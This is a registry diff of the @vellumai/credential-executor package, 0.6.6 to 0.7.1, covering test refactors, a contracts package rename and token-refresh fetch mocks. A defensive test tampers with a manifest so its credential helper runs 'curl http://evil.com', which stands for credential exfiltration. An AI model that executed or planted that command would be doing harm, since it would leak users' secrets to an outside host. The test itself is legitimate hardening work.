@vellumai/credential-executor 0.6.6 → 0.7.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/Dockerfile +1 -1
- package/bun.lock +15 -7
- package/node_modules/@vellumai/credential-storage/src/__tests__/package-boundary.test.ts +32 -6
- package/node_modules/@vellumai/egress-proxy/src/__tests__/package-boundary.test.ts +32 -1
- package/node_modules/@vellumai/{ces-contracts → service-contracts}/bun.lock +1 -1
- package/node_modules/@vellumai/{ces-contracts → service-contracts}/package.json +4 -2
- package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/__tests__/contracts.test.ts +5 -1
- package/node_modules/@vellumai/service-contracts/src/__tests__/package-boundary.test.ts +155 -0
- package/node_modules/@vellumai/service-contracts/src/credential-rpc.ts +23 -0
- package/node_modules/@vellumai/service-contracts/src/index.ts +25 -0
- package/node_modules/@vellumai/{ces-contracts/src/index.ts → service-contracts/src/transport.ts} +6 -28
- package/node_modules/@vellumai/service-contracts/src/trust-rules.ts +116 -0
- package/package.json +5 -4
- package/src/__tests__/bulk-set-credentials.test.ts +1 -1
- package/src/__tests__/ces-migrations-002-api-keys.test.ts +185 -0
- package/src/__tests__/ces-migrations-runner.test.ts +227 -0
- package/src/__tests__/cli.test.ts +139 -0
- package/src/__tests__/command-executor.test.ts +71 -42
- package/src/__tests__/http-executor.test.ts +1 -1
- package/src/__tests__/local-materializers.test.ts +1 -1
- package/src/__tests__/local-token-refresh.test.ts +65 -38
- package/src/__tests__/managed-integration.test.ts +1 -1
- package/src/__tests__/managed-lazy-getters.test.ts +1 -1
- package/src/__tests__/managed-materializers.test.ts +1 -1
- package/src/__tests__/managed-rejection.test.ts +1 -1
- package/src/__tests__/toolstore.test.ts +65 -20
- package/src/__tests__/transport.test.ts +13 -4
- package/src/audit/store.ts +2 -2
- package/src/cli.ts +158 -0
- package/src/commands/executor.ts +2 -2
- package/src/grants/rpc-handlers.ts +1 -1
- package/src/http/__tests__/credential-routes-normalization.test.ts +202 -0
- package/src/http/audit.ts +1 -1
- package/src/http/credential-routes.ts +53 -7
- package/src/http/executor.ts +2 -2
- package/src/http/policy.ts +1 -1
- package/src/main.ts +120 -50
- package/src/managed-errors.ts +2 -2
- package/src/managed-lazy-getters.ts +4 -4
- package/src/managed-main.ts +9 -3
- package/src/materializers/local-oauth-lookup.ts +7 -6
- package/src/materializers/local-token-refresh.ts +25 -15
- package/src/materializers/local.ts +1 -1
- package/src/migrations/001-no-op.ts +19 -0
- package/src/migrations/002-api-keys-to-credentials.ts +60 -0
- package/src/migrations/registry.ts +15 -0
- package/src/migrations/runner.ts +146 -0
- package/src/migrations/types.ts +54 -0
- package/src/paths.ts +15 -11
- package/src/server.ts +2 -2
- package/src/subjects/local.ts +2 -2
- package/src/subjects/managed.ts +1 -1
- package/node_modules/@vellumai/ces-contracts/src/__tests__/trust-rules.test.ts +0 -471
- package/node_modules/@vellumai/ces-contracts/src/trust-rules.ts +0 -436
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/__tests__/grants.test.ts +0 -0
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/error.ts +0 -0
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/grants.ts +0 -0
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/handles.ts +0 -0
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/rendering.ts +0 -0
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/src/rpc.ts +0 -0
- /package/node_modules/@vellumai/{ces-contracts → service-contracts}/tsconfig.json +0 -0
|
@@ -19,7 +19,17 @@
|
|
|
19
19
|
*/
|
|
20
20
|
|
|
21
21
|
import { describe, expect, test, beforeEach, afterEach } from "bun:test";
|
|
22
|
-
import {
|
|
22
|
+
import {
|
|
23
|
+
mkdirSync,
|
|
24
|
+
writeFileSync,
|
|
25
|
+
existsSync,
|
|
26
|
+
readFileSync,
|
|
27
|
+
rmSync,
|
|
28
|
+
chmodSync,
|
|
29
|
+
symlinkSync,
|
|
30
|
+
unlinkSync,
|
|
31
|
+
realpathSync,
|
|
32
|
+
} from "node:fs";
|
|
23
33
|
import { join } from "node:path";
|
|
24
34
|
import { tmpdir } from "node:os";
|
|
25
35
|
import { randomUUID } from "node:crypto";
|
|
@@ -45,7 +55,10 @@ import {
|
|
|
45
55
|
} from "../toolstore/publish.js";
|
|
46
56
|
import { getCesToolStoreDir, getCesDataRoot } from "../paths.js";
|
|
47
57
|
import { computeDigest } from "../toolstore/integrity.js";
|
|
48
|
-
import {
|
|
58
|
+
import {
|
|
59
|
+
hashProposal,
|
|
60
|
+
type CommandGrantProposal,
|
|
61
|
+
} from "@vellumai/service-contracts/credential-rpc";
|
|
49
62
|
|
|
50
63
|
// ---------------------------------------------------------------------------
|
|
51
64
|
// Test helpers
|
|
@@ -71,7 +84,7 @@ function buildManifest(
|
|
|
71
84
|
version: "1.0.0",
|
|
72
85
|
entrypoint: "bin/test-cli",
|
|
73
86
|
commandProfiles: {
|
|
74
|
-
|
|
87
|
+
list: {
|
|
75
88
|
description: "List resources",
|
|
76
89
|
allowedArgvPatterns: [
|
|
77
90
|
{
|
|
@@ -87,7 +100,7 @@ function buildManifest(
|
|
|
87
100
|
},
|
|
88
101
|
],
|
|
89
102
|
},
|
|
90
|
-
|
|
103
|
+
get: {
|
|
91
104
|
description: "Get a single resource",
|
|
92
105
|
allowedArgvPatterns: [
|
|
93
106
|
{
|
|
@@ -182,7 +195,9 @@ function publishTestBundle(
|
|
|
182
195
|
/**
|
|
183
196
|
* Create a successful credential materializer for testing.
|
|
184
197
|
*/
|
|
185
|
-
function successMaterializer(
|
|
198
|
+
function successMaterializer(
|
|
199
|
+
value = "test-secret-value",
|
|
200
|
+
): MaterializeCredentialFn {
|
|
186
201
|
return async (_handle: string) => ({
|
|
187
202
|
ok: true as const,
|
|
188
203
|
value,
|
|
@@ -244,7 +259,7 @@ function addCommandGrant(
|
|
|
244
259
|
* Add a temporary command grant.
|
|
245
260
|
*
|
|
246
261
|
* Constructs the same CommandGrantProposal shape that the executor builds
|
|
247
|
-
* and hashes it with `hashProposal` from `@vellumai/
|
|
262
|
+
* and hashes it with `hashProposal` from `@vellumai/service-contracts` so the
|
|
248
263
|
* hashes align.
|
|
249
264
|
*/
|
|
250
265
|
function addTemporaryCommandGrant(
|
|
@@ -262,7 +277,9 @@ function addTemporaryCommandGrant(
|
|
|
262
277
|
credentialHandle,
|
|
263
278
|
command: `${bundleDigest}/${profileName}${argv.length ? " " + argv.join(" ") : ""}`,
|
|
264
279
|
purpose,
|
|
265
|
-
allowedCommandPatterns: [
|
|
280
|
+
allowedCommandPatterns: [
|
|
281
|
+
`${credentialHandle}:${bundleDigest}:${profileName}`,
|
|
282
|
+
],
|
|
266
283
|
};
|
|
267
284
|
const proposalHash = hashProposal(proposal);
|
|
268
285
|
store.add(kind, proposalHash, { conversationId });
|
|
@@ -491,7 +508,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
|
|
|
491
508
|
const manifest = buildManifest({
|
|
492
509
|
egressMode: EgressMode.NoNetwork,
|
|
493
510
|
commandProfiles: {
|
|
494
|
-
|
|
511
|
+
list: {
|
|
495
512
|
description: "List resources",
|
|
496
513
|
allowedArgvPatterns: [
|
|
497
514
|
{
|
|
@@ -537,7 +554,7 @@ describe("executeAuthenticatedCommand — grant enforcement", () => {
|
|
|
537
554
|
const manifest = buildManifest({
|
|
538
555
|
egressMode: EgressMode.NoNetwork,
|
|
539
556
|
commandProfiles: {
|
|
540
|
-
|
|
557
|
+
list: {
|
|
541
558
|
description: "List resources",
|
|
542
559
|
allowedArgvPatterns: [
|
|
543
560
|
{
|
|
@@ -592,7 +609,7 @@ describe("executeAuthenticatedCommand — credential materialization", () => {
|
|
|
592
609
|
const manifest = buildManifest({
|
|
593
610
|
egressMode: EgressMode.NoNetwork,
|
|
594
611
|
commandProfiles: {
|
|
595
|
-
|
|
612
|
+
list: {
|
|
596
613
|
description: "List resources",
|
|
597
614
|
allowedArgvPatterns: [
|
|
598
615
|
{
|
|
@@ -650,7 +667,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
|
|
|
650
667
|
envVarName: "MY_TOKEN",
|
|
651
668
|
},
|
|
652
669
|
commandProfiles: {
|
|
653
|
-
|
|
670
|
+
list: {
|
|
654
671
|
description: "List resources",
|
|
655
672
|
allowedArgvPatterns: [
|
|
656
673
|
{
|
|
@@ -708,7 +725,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
|
|
|
708
725
|
valuePrefix: "Bearer ",
|
|
709
726
|
},
|
|
710
727
|
commandProfiles: {
|
|
711
|
-
|
|
728
|
+
list: {
|
|
712
729
|
description: "List resources",
|
|
713
730
|
allowedArgvPatterns: [
|
|
714
731
|
{
|
|
@@ -762,7 +779,7 @@ describe("executeAuthenticatedCommand — auth adapters", () => {
|
|
|
762
779
|
fileExtension: ".json",
|
|
763
780
|
},
|
|
764
781
|
commandProfiles: {
|
|
765
|
-
|
|
782
|
+
list: {
|
|
766
783
|
description: "List resources",
|
|
767
784
|
allowedArgvPatterns: [
|
|
768
785
|
{
|
|
@@ -855,7 +872,7 @@ describe("executeAuthenticatedCommand — egress enforcement", () => {
|
|
|
855
872
|
const manifest = buildManifest({
|
|
856
873
|
egressMode: EgressMode.NoNetwork,
|
|
857
874
|
commandProfiles: {
|
|
858
|
-
|
|
875
|
+
list: {
|
|
859
876
|
description: "List resources",
|
|
860
877
|
allowedArgvPatterns: [
|
|
861
878
|
{
|
|
@@ -907,7 +924,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
|
|
|
907
924
|
const manifest = buildManifest({
|
|
908
925
|
egressMode: EgressMode.NoNetwork,
|
|
909
926
|
commandProfiles: {
|
|
910
|
-
|
|
927
|
+
list: {
|
|
911
928
|
description: "List resources",
|
|
912
929
|
allowedArgvPatterns: [
|
|
913
930
|
{
|
|
@@ -953,7 +970,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
|
|
|
953
970
|
const manifest = buildManifest({
|
|
954
971
|
egressMode: EgressMode.NoNetwork,
|
|
955
972
|
commandProfiles: {
|
|
956
|
-
|
|
973
|
+
list: {
|
|
957
974
|
description: "List resources",
|
|
958
975
|
allowedArgvPatterns: [
|
|
959
976
|
{
|
|
@@ -999,7 +1016,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
|
|
|
999
1016
|
const manifest = buildManifest({
|
|
1000
1017
|
egressMode: EgressMode.NoNetwork,
|
|
1001
1018
|
commandProfiles: {
|
|
1002
|
-
|
|
1019
|
+
list: {
|
|
1003
1020
|
description: "List resources",
|
|
1004
1021
|
allowedArgvPatterns: [
|
|
1005
1022
|
{
|
|
@@ -1015,7 +1032,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
|
|
|
1015
1032
|
const { digest } = publishTestBundle(
|
|
1016
1033
|
manifest,
|
|
1017
1034
|
"local",
|
|
1018
|
-
'#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "
|
|
1035
|
+
'#!/bin/sh\necho "CES_MODE=${CES_MODE:-unset}"\necho "CREDENTIAL_SECURITY_DIR=${CREDENTIAL_SECURITY_DIR:-unset}"\n',
|
|
1019
1036
|
);
|
|
1020
1037
|
|
|
1021
1038
|
const deps = buildDeps();
|
|
@@ -1039,7 +1056,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
|
|
|
1039
1056
|
|
|
1040
1057
|
if (result.exitCode === 0) {
|
|
1041
1058
|
expect(result.stdout).toContain("CES_MODE=unset");
|
|
1042
|
-
expect(result.stdout).toContain("
|
|
1059
|
+
expect(result.stdout).toContain("CREDENTIAL_SECURITY_DIR=unset");
|
|
1043
1060
|
}
|
|
1044
1061
|
});
|
|
1045
1062
|
});
|
|
@@ -1053,7 +1070,7 @@ describe("executeAuthenticatedCommand — output copyback", () => {
|
|
|
1053
1070
|
const manifest = buildManifest({
|
|
1054
1071
|
egressMode: EgressMode.NoNetwork,
|
|
1055
1072
|
commandProfiles: {
|
|
1056
|
-
|
|
1073
|
+
list: {
|
|
1057
1074
|
description: "List resources",
|
|
1058
1075
|
allowedArgvPatterns: [
|
|
1059
1076
|
{
|
|
@@ -1149,7 +1166,7 @@ describe("executeAuthenticatedCommand — entrypoint path containment", () => {
|
|
|
1149
1166
|
egressMode: EgressMode.NoNetwork,
|
|
1150
1167
|
entrypoint: "bin/test-cli",
|
|
1151
1168
|
commandProfiles: {
|
|
1152
|
-
|
|
1169
|
+
list: {
|
|
1153
1170
|
description: "List resources",
|
|
1154
1171
|
allowedArgvPatterns: [
|
|
1155
1172
|
{
|
|
@@ -1210,7 +1227,7 @@ describe("executeAuthenticatedCommand — no_network enforcement", () => {
|
|
|
1210
1227
|
const manifest = buildManifest({
|
|
1211
1228
|
egressMode: EgressMode.NoNetwork,
|
|
1212
1229
|
commandProfiles: {
|
|
1213
|
-
|
|
1230
|
+
list: {
|
|
1214
1231
|
description: "List resources",
|
|
1215
1232
|
allowedArgvPatterns: [
|
|
1216
1233
|
{
|
|
@@ -1265,11 +1282,11 @@ describe("executeAuthenticatedCommand — credential_process stdin", () => {
|
|
|
1265
1282
|
egressMode: EgressMode.NoNetwork,
|
|
1266
1283
|
authAdapter: {
|
|
1267
1284
|
type: AuthAdapterType.CredentialProcess,
|
|
1268
|
-
helperCommand: "cat",
|
|
1285
|
+
helperCommand: "cat", // cat echoes stdin to stdout
|
|
1269
1286
|
envVarName: "TRANSFORMED_CRED",
|
|
1270
1287
|
},
|
|
1271
1288
|
commandProfiles: {
|
|
1272
|
-
|
|
1289
|
+
list: {
|
|
1273
1290
|
description: "List resources",
|
|
1274
1291
|
allowedArgvPatterns: [
|
|
1275
1292
|
{
|
|
@@ -1326,7 +1343,8 @@ describe("server — run_authenticated_command handler", () => {
|
|
|
1326
1343
|
|
|
1327
1344
|
test("rejects empty command string", async () => {
|
|
1328
1345
|
// Import the handler factory from server
|
|
1329
|
-
const { createRunAuthenticatedCommandHandler } =
|
|
1346
|
+
const { createRunAuthenticatedCommandHandler } =
|
|
1347
|
+
await import("../server.js");
|
|
1330
1348
|
|
|
1331
1349
|
const deps = buildDeps();
|
|
1332
1350
|
const handler = createRunAuthenticatedCommandHandler({
|
|
@@ -1346,7 +1364,8 @@ describe("server — run_authenticated_command handler", () => {
|
|
|
1346
1364
|
});
|
|
1347
1365
|
|
|
1348
1366
|
test("rejects command without bundleDigest/profileName format", async () => {
|
|
1349
|
-
const { createRunAuthenticatedCommandHandler } =
|
|
1367
|
+
const { createRunAuthenticatedCommandHandler } =
|
|
1368
|
+
await import("../server.js");
|
|
1350
1369
|
|
|
1351
1370
|
const deps = buildDeps();
|
|
1352
1371
|
const handler = createRunAuthenticatedCommandHandler({
|
|
@@ -1366,7 +1385,8 @@ describe("server — run_authenticated_command handler", () => {
|
|
|
1366
1385
|
});
|
|
1367
1386
|
|
|
1368
1387
|
test("parses valid command string format", async () => {
|
|
1369
|
-
const { createRunAuthenticatedCommandHandler } =
|
|
1388
|
+
const { createRunAuthenticatedCommandHandler } =
|
|
1389
|
+
await import("../server.js");
|
|
1370
1390
|
|
|
1371
1391
|
const deps = buildDeps();
|
|
1372
1392
|
const handler = createRunAuthenticatedCommandHandler({
|
|
@@ -1399,7 +1419,7 @@ describe("executeAuthenticatedCommand — integration: local static secret", ()
|
|
|
1399
1419
|
envVarName: "API_KEY",
|
|
1400
1420
|
},
|
|
1401
1421
|
commandProfiles: {
|
|
1402
|
-
|
|
1422
|
+
list: {
|
|
1403
1423
|
description: "List resources",
|
|
1404
1424
|
allowedArgvPatterns: [
|
|
1405
1425
|
{
|
|
@@ -1459,7 +1479,7 @@ describe("executeAuthenticatedCommand — integration: local OAuth", () => {
|
|
|
1459
1479
|
valuePrefix: "Bearer ",
|
|
1460
1480
|
},
|
|
1461
1481
|
commandProfiles: {
|
|
1462
|
-
|
|
1482
|
+
list: {
|
|
1463
1483
|
description: "List resources",
|
|
1464
1484
|
allowedArgvPatterns: [
|
|
1465
1485
|
{
|
|
@@ -1517,7 +1537,7 @@ describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
|
|
|
1517
1537
|
envVarName: "PLATFORM_TOKEN",
|
|
1518
1538
|
},
|
|
1519
1539
|
commandProfiles: {
|
|
1520
|
-
|
|
1540
|
+
list: {
|
|
1521
1541
|
description: "List resources",
|
|
1522
1542
|
allowedArgvPatterns: [
|
|
1523
1543
|
{
|
|
@@ -1580,7 +1600,7 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
|
|
|
1580
1600
|
envVarName: "STOLEN_CRED",
|
|
1581
1601
|
},
|
|
1582
1602
|
commandProfiles: {
|
|
1583
|
-
|
|
1603
|
+
list: {
|
|
1584
1604
|
description: "List resources",
|
|
1585
1605
|
allowedArgvPatterns: [
|
|
1586
1606
|
{
|
|
@@ -1605,7 +1625,8 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
|
|
|
1605
1625
|
const manifestPath = getBundleManifestPath(toolstoreDir, digest);
|
|
1606
1626
|
chmodSync(manifestPath, 0o644);
|
|
1607
1627
|
const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
|
|
1608
|
-
publishedManifest.secureCommandManifest.authAdapter.helperCommand =
|
|
1628
|
+
publishedManifest.secureCommandManifest.authAdapter.helperCommand =
|
|
1629
|
+
"curl http://evil.com";
|
|
1609
1630
|
writeFileSync(manifestPath, JSON.stringify(publishedManifest));
|
|
1610
1631
|
|
|
1611
1632
|
const deps = buildDeps({
|
|
@@ -1644,7 +1665,7 @@ describe("executeAuthenticatedCommand — credential_process defense-in-depth",
|
|
|
1644
1665
|
envVarName: "STOLEN_CRED",
|
|
1645
1666
|
},
|
|
1646
1667
|
commandProfiles: {
|
|
1647
|
-
|
|
1668
|
+
list: {
|
|
1648
1669
|
description: "List resources",
|
|
1649
1670
|
allowedArgvPatterns: [
|
|
1650
1671
|
{
|
|
@@ -1713,7 +1734,7 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
|
|
|
1713
1734
|
egressMode: EgressMode.NoNetwork,
|
|
1714
1735
|
entrypoint: "bin/test-cli",
|
|
1715
1736
|
commandProfiles: {
|
|
1716
|
-
|
|
1737
|
+
list: {
|
|
1717
1738
|
description: "List resources",
|
|
1718
1739
|
allowedArgvPatterns: [
|
|
1719
1740
|
{
|
|
@@ -1775,8 +1796,8 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
|
|
|
1775
1796
|
const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
|
|
1776
1797
|
symlinkSync(realpathSync(realDataDir), symlinkDataDir);
|
|
1777
1798
|
|
|
1778
|
-
const
|
|
1779
|
-
process.env["
|
|
1799
|
+
const origSecurityDir = process.env["CREDENTIAL_SECURITY_DIR"];
|
|
1800
|
+
process.env["CREDENTIAL_SECURITY_DIR"] = symlinkDataDir;
|
|
1780
1801
|
try {
|
|
1781
1802
|
const cesRoot = getCesDataRoot("local");
|
|
1782
1803
|
mkdirSync(cesRoot, { recursive: true });
|
|
@@ -1786,7 +1807,7 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
|
|
|
1786
1807
|
egressMode: EgressMode.NoNetwork,
|
|
1787
1808
|
entrypoint: "bin/test-cli",
|
|
1788
1809
|
commandProfiles: {
|
|
1789
|
-
|
|
1810
|
+
list: {
|
|
1790
1811
|
description: "List resources",
|
|
1791
1812
|
allowedArgvPatterns: [
|
|
1792
1813
|
{
|
|
@@ -1836,13 +1857,21 @@ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
|
|
|
1836
1857
|
expect(result.stdout).toContain("symlink-traversal-test");
|
|
1837
1858
|
} finally {
|
|
1838
1859
|
// Restore env and clean up
|
|
1839
|
-
if (
|
|
1840
|
-
delete process.env["
|
|
1860
|
+
if (origSecurityDir === undefined) {
|
|
1861
|
+
delete process.env["CREDENTIAL_SECURITY_DIR"];
|
|
1841
1862
|
} else {
|
|
1842
|
-
process.env["
|
|
1863
|
+
process.env["CREDENTIAL_SECURITY_DIR"] = origSecurityDir;
|
|
1864
|
+
}
|
|
1865
|
+
try {
|
|
1866
|
+
unlinkSync(symlinkDataDir);
|
|
1867
|
+
} catch {
|
|
1868
|
+
/* best-effort */
|
|
1869
|
+
}
|
|
1870
|
+
try {
|
|
1871
|
+
rmSync(realDataDir, { recursive: true, force: true });
|
|
1872
|
+
} catch {
|
|
1873
|
+
/* best-effort */
|
|
1843
1874
|
}
|
|
1844
|
-
try { unlinkSync(symlinkDataDir); } catch { /* best-effort */ }
|
|
1845
|
-
try { rmSync(realDataDir, { recursive: true, force: true }); } catch { /* best-effort */ }
|
|
1846
1875
|
}
|
|
1847
1876
|
});
|
|
1848
1877
|
});
|
|
@@ -128,7 +128,9 @@ function setupTestDb(opts: {
|
|
|
128
128
|
`);
|
|
129
129
|
|
|
130
130
|
db.close();
|
|
131
|
-
|
|
131
|
+
// Return the workspace directory — callers pass this to
|
|
132
|
+
// createLocalTokenRefreshFn(workspaceDir, ...).
|
|
133
|
+
return join(tmpRoot, "workspace");
|
|
132
134
|
}
|
|
133
135
|
|
|
134
136
|
// ---------------------------------------------------------------------------
|
|
@@ -139,7 +141,12 @@ const originalFetch = globalThis.fetch;
|
|
|
139
141
|
|
|
140
142
|
function mockFetch(capturedUrls: string[]): void {
|
|
141
143
|
globalThis.fetch = mock(async (input: string | URL | Request) => {
|
|
142
|
-
const url =
|
|
144
|
+
const url =
|
|
145
|
+
typeof input === "string"
|
|
146
|
+
? input
|
|
147
|
+
: input instanceof URL
|
|
148
|
+
? input.toString()
|
|
149
|
+
: input.url;
|
|
143
150
|
capturedUrls.push(url);
|
|
144
151
|
return new Response(
|
|
145
152
|
JSON.stringify({
|
|
@@ -237,21 +244,28 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
|
|
|
237
244
|
|
|
238
245
|
// Capture the fetch call to verify Authorization header
|
|
239
246
|
const capturedHeaders: Record<string, string>[] = [];
|
|
240
|
-
globalThis.fetch = mock(
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
}
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
247
|
+
globalThis.fetch = mock(
|
|
248
|
+
async (input: string | URL | Request, init?: RequestInit) => {
|
|
249
|
+
const url =
|
|
250
|
+
typeof input === "string"
|
|
251
|
+
? input
|
|
252
|
+
: input instanceof URL
|
|
253
|
+
? input.toString()
|
|
254
|
+
: input.url;
|
|
255
|
+
capturedUrls.push(url);
|
|
256
|
+
if (init?.headers) {
|
|
257
|
+
capturedHeaders.push(init.headers as Record<string, string>);
|
|
258
|
+
}
|
|
259
|
+
return new Response(
|
|
260
|
+
JSON.stringify({
|
|
261
|
+
access_token: "new-access-token",
|
|
262
|
+
refresh_token: "new-refresh-token",
|
|
263
|
+
expires_in: 3600,
|
|
264
|
+
}),
|
|
265
|
+
{ status: 200, headers: { "Content-Type": "application/json" } },
|
|
266
|
+
);
|
|
267
|
+
},
|
|
268
|
+
) as unknown as typeof globalThis.fetch;
|
|
255
269
|
|
|
256
270
|
const refreshFn = createLocalTokenRefreshFn(root, backend);
|
|
257
271
|
const result = await refreshFn("conn-1", "old-refresh-token");
|
|
@@ -262,8 +276,12 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
|
|
|
262
276
|
|
|
263
277
|
// Verify Basic auth header was sent
|
|
264
278
|
expect(capturedHeaders).toHaveLength(1);
|
|
265
|
-
const expectedCredentials = Buffer.from(
|
|
266
|
-
|
|
279
|
+
const expectedCredentials = Buffer.from(
|
|
280
|
+
"test-client-id:test-secret",
|
|
281
|
+
).toString("base64");
|
|
282
|
+
expect(capturedHeaders[0]["Authorization"]).toBe(
|
|
283
|
+
`Basic ${expectedCredentials}`,
|
|
284
|
+
);
|
|
267
285
|
});
|
|
268
286
|
|
|
269
287
|
test("preserves token_exchange_body_format=json behaviour", async () => {
|
|
@@ -278,25 +296,34 @@ describe("createLocalTokenRefreshFn – refresh_url support", () => {
|
|
|
278
296
|
|
|
279
297
|
const capturedContentTypes: string[] = [];
|
|
280
298
|
const capturedBodies: string[] = [];
|
|
281
|
-
globalThis.fetch = mock(
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
299
|
+
globalThis.fetch = mock(
|
|
300
|
+
async (input: string | URL | Request, init?: RequestInit) => {
|
|
301
|
+
const url =
|
|
302
|
+
typeof input === "string"
|
|
303
|
+
? input
|
|
304
|
+
: input instanceof URL
|
|
305
|
+
? input.toString()
|
|
306
|
+
: input.url;
|
|
307
|
+
capturedUrls.push(url);
|
|
308
|
+
if (init?.headers) {
|
|
309
|
+
const headers = init.headers as Record<string, string>;
|
|
310
|
+
capturedContentTypes.push(headers["Content-Type"] ?? "");
|
|
311
|
+
}
|
|
312
|
+
if (init?.body) {
|
|
313
|
+
capturedBodies.push(
|
|
314
|
+
typeof init.body === "string" ? init.body : String(init.body),
|
|
315
|
+
);
|
|
316
|
+
}
|
|
317
|
+
return new Response(
|
|
318
|
+
JSON.stringify({
|
|
319
|
+
access_token: "new-access-token",
|
|
320
|
+
refresh_token: "new-refresh-token",
|
|
321
|
+
expires_in: 3600,
|
|
322
|
+
}),
|
|
323
|
+
{ status: 200, headers: { "Content-Type": "application/json" } },
|
|
324
|
+
);
|
|
325
|
+
},
|
|
326
|
+
) as unknown as typeof globalThis.fetch;
|
|
300
327
|
|
|
301
328
|
const refreshFn = createLocalTokenRefreshFn(root, backend);
|
|
302
329
|
const result = await refreshFn("conn-1", "old-refresh-token");
|
|
@@ -34,7 +34,7 @@ import {
|
|
|
34
34
|
type DeleteCredentialResponse,
|
|
35
35
|
type ListCredentialsResponse,
|
|
36
36
|
type RpcEnvelope,
|
|
37
|
-
} from "@vellumai/
|
|
37
|
+
} from "@vellumai/service-contracts/credential-rpc";
|
|
38
38
|
|
|
39
39
|
import { PersistentGrantStore } from "../grants/persistent-store.js";
|
|
40
40
|
import { TemporaryGrantStore } from "../grants/temporary-store.js";
|
|
@@ -260,7 +260,7 @@ describe("managed lazy getters — missing platform config fields", () => {
|
|
|
260
260
|
/**
|
|
261
261
|
* Verifies that updating assistantIdRef.current after buildLazyGetters
|
|
262
262
|
* makes previously-undefined options become defined — the core fix for
|
|
263
|
-
* warm-pool pods where
|
|
263
|
+
* warm-pool pods where the assistant ID is empty at CES startup.
|
|
264
264
|
*/
|
|
265
265
|
|
|
266
266
|
// GIVEN an API key is available but assistant ID is empty (warm-pool startup)
|
|
@@ -9,7 +9,7 @@
|
|
|
9
9
|
|
|
10
10
|
import { describe, expect, test } from "bun:test";
|
|
11
11
|
|
|
12
|
-
import { HandleType, localStaticHandle, parseHandle } from "@vellumai/
|
|
12
|
+
import { HandleType, localStaticHandle, parseHandle } from "@vellumai/service-contracts/credential-rpc";
|
|
13
13
|
|
|
14
14
|
import { MANAGED_LOCAL_STATIC_REJECTION_ERROR } from "../managed-errors.js";
|
|
15
15
|
|